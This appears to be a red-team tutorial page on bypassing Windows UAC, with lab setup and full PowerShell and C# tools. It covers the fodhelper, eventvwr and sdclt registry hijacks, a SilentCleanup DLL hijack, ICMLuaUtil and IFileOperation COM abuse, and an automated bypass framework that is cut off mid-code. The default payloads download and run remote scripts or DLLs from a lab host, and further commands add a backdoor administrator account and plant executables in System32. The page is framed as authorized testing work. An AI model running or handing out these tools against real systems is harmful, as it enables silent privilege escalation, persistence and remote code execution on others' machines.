Skip to content
AppLocker Bypass — UAC Bypass

AppLocker Bypass — UAC Bypass

Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control).


Lab Setup

Recommended VM Stack

Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
    ├── Windows 10/11 Enterprise (victim VM)
    │   ├── Local admin account (standard UAC config)
    │   ├── Windows Defender enabled + updated
    │   ├── UAC set to default ("Notify me only when apps try to make changes")
    │   ├── Sysmon (SwiftOnSecurity config)
    │   ├── Sysinternals Suite (Process Monitor, Process Hacker, AccessChk)
    │   └── PowerShell 5.1 + Script Block Logging enabled
    │
    └── Kali Linux (attacker VM)
        ├── mingw-w64 cross-compiler
        ├── Python 3.10+
        └── netcat / rlwrap listener

Windows VM Configuration

1. Create a standard admin test account

# Create local admin — this is your test persona
# UAC will fire for elevation requests from this account
net user testadmin P@ssw0rd123! /add
net localgroup Administrators testadmin /add

2. Set UAC to default level (most common in the wild)

# Default: notify only when apps try to make changes, don't dim desktop
# Registry value 5 = default UAC behavior
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
    -Name "ConsentPromptBehaviorAdmin" -Value 5 -Type DWord

# Verify
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" |
    Select ConsentPromptBehaviorAdmin, EnableLUA, PromptOnSecureDesktop

3. Enable Sysmon

.\Sysmon64.exe -accepteula -i sysmon-config.xml

4. Verify your current integrity level

# should show "Medium Mandatory Level" on a standard admin session
whoami /groups | findstr "Mandatory"

# Medium = you can trigger UAC bypasses
# High   = you're already elevated, no bypass needed

5. Verify integrity level tool — save this, use it constantly

 1# Check-Integrity.ps1 — shows current process integrity level
 2$sig = @"
 3using System;
 4using System.Runtime.InteropServices;
 5public class TokenInfo {
 6    [DllImport("advapi32.dll", SetLastError=true)]
 7    public static extern bool GetTokenInformation(IntPtr token, int infoClass,
 8        IntPtr info, int infoLen, out int retLen);
 9    [DllImport("advapi32.dll", SetLastError=true)]
10    public static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);
11    [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess();
12}
13"@
14Add-Type $sig
15
16$token = [IntPtr]::Zero
17[TokenInfo]::OpenProcessToken([TokenInfo]::GetCurrentProcess(), 0x8, [ref]$token) | Out-Null
18
19$size = 0
20[TokenInfo]::GetTokenInformation($token, 25, [IntPtr]::Zero, 0, [ref]$size) | Out-Null
21$buf = [Runtime.InteropServices.Marshal]::AllocHGlobal($size)
22[TokenInfo]::GetTokenInformation($token, 25, $buf, $size, [ref]$size) | Out-Null
23
24$rid = [Runtime.InteropServices.Marshal]::ReadInt32($buf, 8)
25$labels = @{ 0x1000="Low"; 0x2000="Medium"; 0x3000="High"; 0x4000="System" }
26
27Write-Host "[*] Process: $($pid)  ($([System.Diagnostics.Process]::GetCurrentProcess().ProcessName))"
28Write-Host "[*] Integrity: $($labels[[int]$rid] ?? "Unknown (RID: 0x$($rid.ToString('X')))")"
29[Runtime.InteropServices.Marshal]::FreeHGlobal($buf)

6. Install Process Monitor for live registry/file tracing

ProcMon → Filter → Process Name → is → fodhelper.exe → Add
         Filter → Category → is → Registry → Add

This is how the community discovers new UAC bypass paths — ProcMon on auto-elevated binaries watching for HKCU registry reads that don’t exist yet.

7. Snapshot before testing

VM → Snapshot → "UAC_BASELINE_MEDIUM_INTEGRITY"

Revert between techniques: registry changes from one bypass can bleed into another test.


How UAC Works

UAC enforces integrity levels on every process in Windows. Think of them as security rings that control what a process can touch:

SYSTEM integrity   ← kernel drivers, critical services
      │
HIGH integrity     ← elevated admin processes (after UAC prompt)
      │
MEDIUM integrity   ← standard user processes, normal admin sessions  ← you start here
      │
LOW integrity      ← sandboxed processes (IE Protected Mode, Edge)
      │
UNTRUSTED          ← extremely restricted

When you’re logged in as an administrator, your shell runs at Medium integrity by default. UAC acts as a gate: to reach High integrity, a UAC consent prompt must be approved.

Auto-elevation is the gap we exploit. Some Microsoft-signed binaries carry an application manifest declaring autoElevate="true". Windows trusts these binaries to silently elevate to High integrity without a UAC prompt. The assumption: Microsoft wrote them, they’re safe.

<!-- manifest snippet from fodhelper.exe -->
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
<autoElevate>true</autoElevate>

If we can hijack what an auto-elevated binary does, via registry redirection, DLL hijacking, or COM object substitution, we execute arbitrary code at High integrity with zero UAC prompts.


Phase 1 — Enumeration

Tool 1 — Find-AutoElevatedBinaries.ps1

 1# Find-AutoElevatedBinaries.ps1
 2# Scans Windows binaries for autoElevate=true in their manifests.
 3# These are your primary bypass candidates.
 4
 5param(
 6    [string[]]$ScanDirs = @(
 7        "$env:WINDIR\System32",
 8        "$env:WINDIR\SysWOW64"
 9    ),
10    [switch]$Detailed
11)
12
13Add-Type -AssemblyName System.Xml.Linq
14
15function Get-Manifest([string]$exePath) {
16    try {
17        # use MT.exe if available, otherwise parse PE directly
18        $bytes = [IO.File]::ReadAllBytes($exePath)
19
20        # scan for the RT_MANIFEST resource signature
21        # simplified: search for XML declaration in PE bytes
22        $xmlSig = [Text.Encoding]::ASCII.GetBytes('<?xml')
23        for ($i = 0; $i -lt $bytes.Length - $xmlSig.Length; $i++) {
24            $match = $true
25            for ($j = 0; $j -lt $xmlSig.Length; $j++) {
26                if ($bytes[$i+$j] -ne $xmlSig[$j]) { $match = $false; break }
27            }
28            if ($match) {
29                # extract manifest XML
30                $end = $i
31                while ($end -lt $bytes.Length -and $bytes[$end] -ne 0) { $end++ }
32                return [Text.Encoding]::UTF8.GetString($bytes[$i..($end-1)])
33            }
34        }
35    } catch {}
36    return $null
37}
38
39$results = [Collections.Generic.List[PSCustomObject]]::new()
40
41foreach ($dir in $ScanDirs | Where-Object { Test-Path $_ }) {
42    Write-Host "[*] scanning $dir ..." -ForegroundColor Cyan
43
44    Get-ChildItem -Path $dir -Filter "*.exe" -ErrorAction SilentlyContinue |
45    ForEach-Object {
46        $manifest = Get-Manifest $_.FullName
47        if ($manifest -and $manifest -match 'autoElevate.*true') {
48            $level = if ($manifest -match 'requireAdministrator') { 'requireAdmin' }
49                     elseif ($manifest -match 'highestAvailable') { 'highest' }
50                     else { 'unknown' }
51            $results.Add([PSCustomObject]@{
52                Name      = $_.Name
53                Path      = $_.FullName
54                Level     = $level
55                Signed    = (Get-AuthenticodeSignature $_.FullName).Status -eq 'Valid'
56                Size      = $_.Length
57            })
58        }
59    }
60}
61
62Write-Host "`n[+] Auto-elevated binaries found: $($results.Count)`n" -ForegroundColor Green
63$results | Sort-Object Name | Format-Table Name, Level, Signed, Path -AutoSize
64
65$results | Export-Csv ".\auto_elevated.csv" -NoTypeInformation
66Write-Host "[*] saved → auto_elevated.csv"

Tool 2 — Find-UACRegistryGaps.ps1

For each auto-elevated binary, ProcMon shows which HKCU registry keys it reads that don’t exist. This script cross-references a known list and checks which gaps are present on this machine — each writable missing key is a bypass opportunity.

 1# Find-UACRegistryGaps.ps1
 2# Checks known UAC bypass registry paths — reports which are exploitable here.
 3
 4$BypassPaths = @(
 5    [PSCustomObject]@{
 6        Binary  = "fodhelper.exe"
 7        HKCUKey = "Software\Classes\ms-settings\Shell\Open\command"
 8        ValueName = "(Default) + DelegateExecute"
 9        Technique = "Registry Hijack"
10        Risk    = "High"
11    },
12    [PSCustomObject]@{
13        Binary  = "eventvwr.exe"
14        HKCUKey = "Software\Classes\mscfile\shell\open\command"
15        ValueName = "(Default)"
16        Technique = "Registry Hijack"
17        Risk    = "High"
18    },
19    [PSCustomObject]@{
20        Binary  = "sdclt.exe"
21        HKCUKey = "Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
22        ValueName = "(Default)"
23        Technique = "Registry Hijack"
24        Risk    = "High"
25    },
26    [PSCustomObject]@{
27        Binary  = "cmstp.exe"
28        HKCUKey = "Software\Classes\mscfile\shell\open\command"
29        ValueName = "(Default)"
30        Technique = "INF file"
31        Risk    = "Medium"
32    },
33    [PSCustomObject]@{
34        Binary  = "SilentCleanup (schtask)"
35        HKCUKey = "N/A — PATH DLL hijack"
36        ValueName = "N/A"
37        Technique = "DLL Hijack via PATH"
38        Risk    = "High"
39    },
40    [PSCustomObject]@{
41        Binary  = "CompMgmtLauncher.exe"
42        HKCUKey = "Software\Classes\mscfile\shell\open\command"
43        ValueName = "(Default)"
44        Technique = "Registry Hijack"
45        Risk    = "Medium"
46    }
47)
48
49Write-Host "`n[*] Checking UAC bypass registry gaps on this system...`n" -ForegroundColor Cyan
50
51foreach ($entry in $BypassPaths) {
52    if ($entry.HKCUKey -eq 'N/A — PATH DLL hijack') {
53        Write-Host "  [TASK]   $($entry.Binary)$($entry.Technique)" -ForegroundColor Yellow
54        continue
55    }
56
57    $fullPath = "HKCU:\$($entry.HKCUKey)"
58    $exists   = Test-Path $fullPath
59    $status   = if (-not $exists) { "[MISSING — EXPLOITABLE]" } else { "[EXISTS — check value]" }
60    $color    = if (-not $exists) { "Green" } else { "Gray" }
61
62    Write-Host "  $status $($entry.Binary)$($entry.HKCUKey)" -ForegroundColor $color
63    if ($Detailed -and $exists) {
64        Get-ItemProperty -Path $fullPath -ErrorAction SilentlyContinue |
65            Out-String | ForEach-Object { Write-Host "    $_" -ForegroundColor DarkGray }
66    }
67}

Bypass 1 — fodhelper.exe (Registry Hijack)

fodhelper.exe (Features On Demand Helper) is an auto-elevated binary that manages optional Windows features. During execution it reads HKCU\Software\Classes\ms-settings\Shell\Open\command to find a handler. HKCU is always writable by the current user — no admin needed to set keys there.

Write your payload command to that key, launch fodhelper, and Windows runs your command at High integrity without a UAC prompt.

PowerShell implementation

 1# Invoke-FodhelperBypass.ps1
 2# Spawns an elevated process via fodhelper.exe HKCU registry hijack.
 3# Requires: Medium integrity admin account (default UAC config)
 4
 5param(
 6    [string]$Command   = "powershell -nop -w hidden -ep bypass -c `"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')`"",
 7    [switch]$Cleanup,
 8    [switch]$Verify
 9)
10
11$regPath     = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
12$fodhelper   = "$env:WINDIR\System32\fodhelper.exe"
13
14function Invoke-Bypass {
15    Write-Host "[*] planting registry keys..." -ForegroundColor Cyan
16
17    # create key hierarchy
18    New-Item -Path $regPath -Force | Out-Null
19
20    # (Default) value = command to execute
21    Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Command
22
23    # DelegateExecute MUST be present (can be empty) — signals to fodhelper
24    # that the value is a command, not a file handler
25    New-ItemProperty -Path $regPath -Name "DelegateExecute" -Value "" -Force | Out-Null
26
27    Write-Host "[+] HKCU keys planted:" -ForegroundColor Green
28    Write-Host "    $regPath"
29    Write-Host "    (Default)       = $Command"
30    Write-Host "    DelegateExecute = (empty)"
31
32    # brief pause — let registry writes flush
33    Start-Sleep -Milliseconds 200
34
35    Write-Host "[*] launching fodhelper.exe..." -ForegroundColor Cyan
36    Start-Process $fodhelper -WindowStyle Hidden
37
38    # give it time to trigger before cleanup
39    Start-Sleep -Seconds 3
40}
41
42function Invoke-Cleanup {
43    $parent = "HKCU:\Software\Classes\ms-settings"
44    if (Test-Path $parent) {
45        Remove-Item -Path $parent -Recurse -Force -ErrorAction SilentlyContinue
46        Write-Host "[+] registry keys removed" -ForegroundColor Green
47    }
48}
49
50function Test-Bypass {
51    # write a marker file at High integrity path — only writable from High
52    $marker = "C:\Windows\System32\uac_test_$(Get-Random).txt"
53    $testCmd = "cmd /c echo elevated > $marker"
54
55    Invoke-FodhelperBypass -Command $testCmd
56    Start-Sleep -Seconds 4
57
58    if (Test-Path $marker) {
59        Write-Host "[+] BYPASS CONFIRMED — marker written to System32" -ForegroundColor Green
60        Remove-Item $marker -Force
61    } else {
62        Write-Host "[-] bypass failed or AV blocked execution" -ForegroundColor Red
63    }
64}
65
66if ($Verify)  { Test-Bypass;   return }
67if ($Cleanup) { Invoke-Cleanup; return }
68
69Invoke-Bypass
70Start-Sleep -Seconds 2
71Invoke-Cleanup   # always clean up registry artifacts

One-liner (for constrained environments)

$p="HKCU:\Software\Classes\ms-settings\Shell\Open\command"
New-Item $p -Force|Out-Null
Set-ItemProperty $p "(Default)" "cmd /c start powershell -nop -w hidden -ep bypass"
New-ItemProperty $p "DelegateExecute" -Value "" -Force|Out-Null
Start-Process "$env:WINDIR\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -Force

Bypass 2 — eventvwr.exe (Registry Hijack)

eventvwr.exe (Event Viewer) auto-elevates and reads HKCU\Software\Classes\mscfile\shell\open\command to find the handler for .msc files. Same pattern — write command, trigger binary, code runs at High integrity.

 1# Invoke-EventvwrBypass.ps1
 2
 3param(
 4    [string]$Command = "powershell -nop -w hidden -ep bypass -c `"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')`"",
 5    [switch]$Cleanup
 6)
 7
 8$regPath   = "HKCU:\Software\Classes\mscfile\shell\open\command"
 9$eventvwr  = "$env:WINDIR\System32\eventvwr.exe"
10
11function Set-Bypass {
12    New-Item -Path $regPath -Force | Out-Null
13    Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Command
14
15    Write-Host "[+] planted: $regPath" -ForegroundColor Green
16    Write-Host "    command: $Command"
17
18    Start-Sleep -Milliseconds 200
19    Start-Process $eventvwr -WindowStyle Hidden
20    Write-Host "[*] eventvwr.exe launched — waiting for trigger..."
21    Start-Sleep -Seconds 3
22}
23
24function Remove-Keys {
25    Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force -ErrorAction SilentlyContinue
26    Write-Host "[+] cleaned up" -ForegroundColor Green
27}
28
29if ($Cleanup) { Remove-Keys; return }
30Set-Bypass
31Remove-Keys

Bypass 3 — sdclt.exe (App Path Hijack)

sdclt.exe (Backup and Restore) queries HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe to locate the Control Panel binary. Redirect it to your payload — sdclt auto-elevates and executes it at High integrity.

 1# Invoke-SdcltBypass.ps1
 2
 3param(
 4    [string]$Payload = "C:\Windows\Tasks\payload.exe",
 5    [string]$PayloadUrl = "http://10.10.10.10/payload.exe",
 6    [switch]$Cleanup
 7)
 8
 9$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
10$sdclt   = "$env:WINDIR\System32\sdclt.exe"
11
12function Set-Bypass {
13    # drop payload to trusted writable path first (combines with trusted folder bypass)
14    if ($PayloadUrl -and -not (Test-Path $Payload)) {
15        (New-Object Net.WebClient).DownloadFile($PayloadUrl, $Payload)
16        Write-Host "[+] payload staged: $Payload" -ForegroundColor Green
17    }
18
19    New-Item -Path $regPath -Force | Out-Null
20    Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Payload
21
22    Write-Host "[+] App Path hijacked:" -ForegroundColor Green
23    Write-Host "    $regPath$Payload"
24
25    Start-Sleep -Milliseconds 200
26
27    # /kickoffelev flag triggers the App Path lookup
28    Start-Process $sdclt -ArgumentList "/kickoffelev" -WindowStyle Hidden
29    Write-Host "[*] sdclt.exe /kickoffelev launched"
30    Start-Sleep -Seconds 3
31}
32
33function Remove-Keys {
34    if (Test-Path $regPath) {
35        Remove-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" `
36            -Force -ErrorAction SilentlyContinue
37        Write-Host "[+] registry cleaned" -ForegroundColor Green
38    }
39}
40
41if ($Cleanup) { Remove-Keys; return }
42Set-Bypass
43Remove-Keys

Bypass 4 — SilentCleanup Scheduled Task (DLL Hijack)

The SilentCleanup scheduled task runs DismHost.exe and cleanmgr.exe at High integrity without a UAC prompt. It’s designed to run silently during maintenance windows. The task inherits the current user’s %PATH% environment variable. Drop a malicious DLL with the right name into a user-writable directory that appears in PATH before System32, and DiskCleanup loads it at High integrity.

 1# Invoke-SilentCleanupBypass.ps1
 2# DLL hijack via SilentCleanup scheduled task PATH manipulation
 3
 4param(
 5    [string]$DllUrl     = "http://10.10.10.10/dismcore.dll",
 6    [string]$DllDrop    = "$env:TEMP\dismcore.dll",   # user-writable, often in PATH
 7    [switch]$PrependPath,
 8    [switch]$Cleanup
 9)
10
11# Target DLL: dismcore.dll — loaded by DismHost.exe, often missing from user PATH dirs
12$targetDll  = "dismcore.dll"
13$taskName   = "SilentCleanup"
14
15function Set-Bypass {
16    # fetch malicious DLL
17    (New-Object Net.WebClient).DownloadFile($DllUrl, $DllDrop)
18    Write-Host "[+] DLL staged: $DllDrop" -ForegroundColor Green
19
20    if ($PrependPath) {
21        # prepend drop directory to user PATH — ensures our DLL found before System32
22        $dropDir    = Split-Path $DllDrop
23        $currentPath = [Environment]::GetEnvironmentVariable("PATH", "User")
24        if ($currentPath -notlike "$dropDir*") {
25            [Environment]::SetEnvironmentVariable("PATH", "$dropDir;$currentPath", "User")
26            $env:PATH = "$dropDir;$env:PATH"
27            Write-Host "[+] PATH prepended: $dropDir" -ForegroundColor Green
28        }
29    }
30
31    Write-Host "[*] triggering SilentCleanup task..." -ForegroundColor Cyan
32    Start-ScheduledTask -TaskName $taskName
33    Write-Host "[+] task triggered — DismHost.exe will load $targetDll from PATH"
34    Write-Host "[*] shell should arrive within 10-15 seconds"
35}
36
37function Remove-Bypass {
38    if (Test-Path $DllDrop) {
39        Remove-Item $DllDrop -Force
40        Write-Host "[+] DLL removed: $DllDrop"
41    }
42    if ($PrependPath) {
43        $dropDir  = Split-Path $DllDrop
44        $p = [Environment]::GetEnvironmentVariable("PATH", "User")
45        [Environment]::SetEnvironmentVariable("PATH", ($p -replace [Regex]::Escape("$dropDir;"),""), "User")
46        Write-Host "[+] PATH restored"
47    }
48}
49
50if ($Cleanup) { Remove-Bypass; return }
51Set-Bypass

Build the DLL payload (use hijack_base.c from the DLL Hijacking blog with LHOST/LPORT updated):

# compile dismcore.dll — matches name DismHost.exe looks for
x86_64-w64-mingw32-gcc -shared -o dismcore.dll hijack_base.c \
    -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none

Bypass 5 — COM Object Hijacking (ICMLuaUtil)

Several auto-elevated binaries instantiate COM objects. COM object resolution checks HKCU before HKLM, meaning a user-registered COM object shadows the system one without admin rights. Register a malicious COM server in HKCU, trigger the elevated binary that uses it, and your server runs in its High-integrity context.

ICMLuaUtil is an interface exposed by cmluautil.dll that several auto-elevated binaries use. We can directly invoke it via late-binding to execute arbitrary commands at High integrity.

C# COM elevation via ICMLuaUtil

 1// CMLuaBypass.cs
 2// Calls ICMLuaUtil::ShellExec to run an arbitrary command at High integrity.
 3// ICMLuaUtil is exposed by an auto-elevated COM server — no UAC prompt fires.
 4//
 5// Compile: csc.exe /out:CMLuaBypass.exe CMLuaBypass.cs
 6//      or: dotnet build
 7
 8using System;
 9using System.Runtime.InteropServices;
10
11[ComImport]
12[Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C")]
13[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
14interface ICMLuaUtil {
15    void SetRasCredentials();
16    void SetRasEntryProperties();
17    void DeleteRasEntry();
18    void LaunchInfSection();
19    void LaunchInfSectionEx();
20    void CreateLayerDirectory();
21    void ShellExec(
22        string file,
23        string parameters,
24        string directory,
25        uint fMask,
26        uint nShow
27    );
28    void SetRegistryStringValue();
29    void DeleteRegistryStringValue();
30    void DeleteRegKeysAndValues();
31    void CreateDirectoryWithElevatedPriviliges();
32}
33
34[ComImport]
35[Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7")]
36[ClassInterface(ClassInterfaceType.None)]
37class CMLuaUtil { }
38
39class Program {
40    static void Main(string[] args) {
41        string cmd    = args.Length > 0 ? args[0] : "powershell.exe";
42        string param  = args.Length > 1 ? args[1] : "-nop -w hidden -ep bypass -c whoami";
43        string cwd    = args.Length > 2 ? args[2] : @"C:\Windows\System32";
44
45        Console.WriteLine($"[*] target : {cmd} {param}");
46        Console.WriteLine("[*] invoking ICMLuaUtil::ShellExec via auto-elevated COM...");
47
48        try {
49            var util = (ICMLuaUtil)new CMLuaUtil();
50            util.ShellExec(cmd, param, cwd, 0x00000000, 1);
51            Console.WriteLine("[+] ShellExec called — command should run at High integrity");
52        } catch (Exception ex) {
53            Console.Error.WriteLine($"[-] failed: {ex.Message}");
54            Console.Error.WriteLine("    (ensure you are Medium integrity + local admin)");
55        }
56    }
57}
 1:: compile and run
 2csc.exe /out:CMLuaBypass.exe CMLuaBypass.cs
 3
 4:: execute arbitrary command at high integrity — no UAC prompt
 5CMLuaBypass.exe powershell.exe "-nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
 6
 7:: add local user to admins (for persistence)
 8CMLuaBypass.exe cmd.exe "/c net localgroup Administrators backdoor /add"
 9
10:: copy file to protected path
11CMLuaBypass.exe cmd.exe "/c copy C:\Users\Public\payload.exe C:\Windows\System32\evil.exe"

Bypass 6 — IFileOperation COM (Privileged File Copy)

The IFileOperation COM interface runs at the caller’s integrity level, but when invoked from within an auto-elevated process context, it inherits High integrity. This lets you copy files to privileged locations (like C:\Windows\System32\) without a UAC prompt.

Classic use: copy a malicious DLL to System32, then trigger a binary that loads it.

  1// FileOpBypass.cs
  2// Uses IFileOperation at High integrity (via auto-elevated COM host) to
  3// copy files to privileged locations — combines with DLL hijacking for RCE.
  4//
  5// Compile: csc.exe /target:library /out:FileOpBypass.dll FileOpBypass.cs
  6//
  7// Then load via Assembly.Load() from an elevated context.
  8
  9using System;
 10using System.Runtime.InteropServices;
 11
 12[ComImport]
 13[Guid("947aab5f-0a5c-4c13-b4d6-4bf7836fc9f8")]
 14[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
 15interface IFileOperation {
 16    void Advise(IFileOperationProgressSink pfops, out uint pdwCookie);
 17    void Unadvise(uint dwCookie);
 18    void SetOperationFlags(uint dwOperationFlags);
 19    void SetProgressMessage([MarshalAs(UnmanagedType.LPWStr)] string pszMessage);
 20    void SetProgressDialog([MarshalAs(UnmanagedType.IUnknown)] object popd);
 21    void GetAnyOperationsAborted(out bool pfAnyOperationsAborted);
 22    void MoveItem(
 23        [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
 24        [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
 25        [MarshalAs(UnmanagedType.LPWStr)] string pszNewName,
 26        [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
 27    void MoveItems(
 28        [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
 29        [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder);
 30    void CopyItem(
 31        [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
 32        [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
 33        [MarshalAs(UnmanagedType.LPWStr)] string pszCopyName,
 34        [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
 35    void CopyItems(
 36        [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
 37        [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder);
 38    void DeleteItem(
 39        [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
 40        [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
 41    void DeleteItems([MarshalAs(UnmanagedType.IUnknown)] object punkItems);
 42    void RenameItem(
 43        [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
 44        [MarshalAs(UnmanagedType.LPWStr)] string pszNewName,
 45        [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
 46    void RenameItems(
 47        [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
 48        [MarshalAs(UnmanagedType.LPWStr)] string pszNewName);
 49    void ApplyPropertiesToItem(
 50        [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
 51        [MarshalAs(UnmanagedType.IUnknown)] object pproparray);
 52    void ApplyPropertiesToItems(
 53        [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
 54        [MarshalAs(UnmanagedType.IUnknown)] object pproparray);
 55    void NewItem(
 56        [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
 57        uint dwFileAttributes,
 58        [MarshalAs(UnmanagedType.LPWStr)] string pszName,
 59        [MarshalAs(UnmanagedType.LPWStr)] string pszTemplateName,
 60        [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
 61    void PerformOperations();
 62}
 63
 64[ComImport]
 65[Guid("00000114-0000-0000-C000-000000000046")]
 66[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
 67interface IFileOperationProgressSink { }
 68
 69[ComImport]
 70[Guid("3ad05575-8857-4850-9277-11b85bdb8e09")]
 71[ClassInterface(ClassInterfaceType.None)]
 72class FileOperation { }
 73
 74public static class FileOpBypass {
 75
 76    [DllImport("shell32.dll", CharSet=CharSet.Unicode)]
 77    static extern int SHCreateItemFromParsingName(
 78        string pszPath, IntPtr pbc,
 79        [MarshalAs(UnmanagedType.LPStruct)] Guid riid,
 80        [MarshalAs(UnmanagedType.IUnknown)] out object ppv);
 81
 82    static readonly Guid IShellItemGuid = new Guid("43826d1e-e718-42ee-bc55-a1e261c37bfe");
 83
 84    static object GetShellItem(string path) {
 85        object item;
 86        SHCreateItemFromParsingName(path, IntPtr.Zero, IShellItemGuid, out item);
 87        return item;
 88    }
 89
 90    // Copy srcFile → dstDir\newName using High-integrity IFileOperation
 91    public static void CopyToPrivileged(string srcFile, string dstDir, string newName = null) {
 92        var op = (IFileOperation)new FileOperation();
 93
 94        // FOF_NOCONFIRMATION | FOF_SILENT | FOF_NOERRORUI
 95        op.SetOperationFlags(0x0614);
 96
 97        var src  = GetShellItem(srcFile);
 98        var dst  = GetShellItem(dstDir);
 99        var name = newName ?? System.IO.Path.GetFileName(srcFile);
100
101        op.CopyItem(src, dst, name, null);
102        op.PerformOperations();
103
104        Console.WriteLine($"[+] copied {srcFile} → {dstDir}\\{name}");
105    }
106
107    // Example: plant malicious DLL into System32 for subsequent hijack
108    public static void PlantDLL(string maliciousDll, string targetDllName) {
109        CopyToPrivileged(maliciousDll, @"C:\Windows\System32", targetDllName);
110        Console.WriteLine($"[+] {targetDllName} planted in System32 — trigger target binary to get High-integrity shell");
111    }
112}

Bypass 7 — Automated UAC Bypass Framework (C#)

A unified C# framework that enumerates available bypasses and executes the most appropriate one for the current system, with fallback logic.

  1// UACBypass.cs — automated UAC bypass framework
  2// Tries bypasses in order of stealth/reliability, falls back on failure.
  3//
  4// Compile: csc.exe /out:UACBypass.exe UACBypass.cs
  5//
  6// Usage:
  7//   UACBypass.exe                                    — auto-select + execute
  8//   UACBypass.exe --cmd "powershell -nop -w hidden"  — custom command
  9//   UACBypass.exe --list                             — list available bypasses
 10//   UACBypass.exe --method fodhelper                 — force specific bypass
 11
 12using System;
 13using System.Collections.Generic;
 14using System.Diagnostics;
 15using System.IO;
 16using System.Runtime.InteropServices;
 17using System.Threading;
 18using Microsoft.Win32;
 19
 20class UACBypass {
 21
 22    // ── Win32 helpers ─────────────────────────────────────────────────────
 23    [DllImport("advapi32.dll", SetLastError=true)]
 24    static extern bool GetTokenInformation(IntPtr token, int infoClass,
 25        IntPtr info, int infoLen, out int retLen);
 26    [DllImport("advapi32.dll", SetLastError=true)]
 27    static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);
 28    [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess();
 29
 30    // ── integrity level detection ─────────────────────────────────────────
 31    static int GetIntegrityLevel() {
 32        IntPtr token;
 33        OpenProcessToken(GetCurrentProcess(), 0x8, out token);
 34        int size = 0;
 35        GetTokenInformation(token, 25, IntPtr.Zero, 0, out size);
 36        var buf = Marshal.AllocHGlobal(size);
 37        GetTokenInformation(token, 25, buf, size, out size);
 38        int rid = Marshal.ReadInt32(buf, 8);
 39        Marshal.FreeHGlobal(buf);
 40        return rid;
 41    }
 42
 43    const int HIGH_INTEGRITY   = 0x3000;
 44    const int MEDIUM_INTEGRITY = 0x2000;
 45
 46    // ── bypass registry helper ────────────────────────────────────────────
 47    static void SetRegValue(string hkcu, string valueName, string data) {
 48        using var key = Registry.CurrentUser.CreateSubKey(hkcu, true);
 49        key.SetValue(valueName, data);
 50        if (valueName == "(Default)" || valueName == "") {
 51            // also set DelegateExecute if this is a shell\open\command key
 52            if (hkcu.EndsWith("command", StringComparison.OrdinalIgnoreCase))
 53                key.SetValue("DelegateExecute", "");
 54        }
 55    }
 56
 57    static void DeleteRegKey(string hkcu) {
 58        try { Registry.CurrentUser.DeleteSubKeyTree(hkcu, false); } catch {}
 59    }
 60
 61    static bool WaitForElevation(string markerPath, int timeoutMs = 6000) {
 62        int elapsed = 0;
 63        while (elapsed < timeoutMs) {
 64            if (File.Exists(markerPath)) { File.Delete(markerPath); return true; }
 65            Thread.Sleep(300);
 66            elapsed += 300;
 67        }
 68        return false;
 69    }
 70
 71    // ── bypass implementations ────────────────────────────────────────────
 72
 73    static bool BypassFodhelper(string cmd) {
 74        const string regKey = @"Software\Classes\ms-settings\Shell\Open\command";
 75        try {
 76            SetRegValue(regKey, "", cmd);
 77            Thread.Sleep(200);
 78            Process.Start(new ProcessStartInfo {
 79                FileName        = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
 80                                               "System32", "fodhelper.exe"),
 81                WindowStyle     = ProcessWindowStyle.Hidden,
 82                UseShellExecute = false
 83            });
 84            Thread.Sleep(3000);
 85            return true;
 86        } finally {
 87            DeleteRegKey(@"Software\Classes\ms-settings");
 88        }
 89    }
 90
 91    static bool BypassEventvwr(string cmd) {
 92        const string regKey = @"Software\Classes\mscfile\shell\open\command";
 93        try {
 94            SetRegValue(regKey, "", cmd);
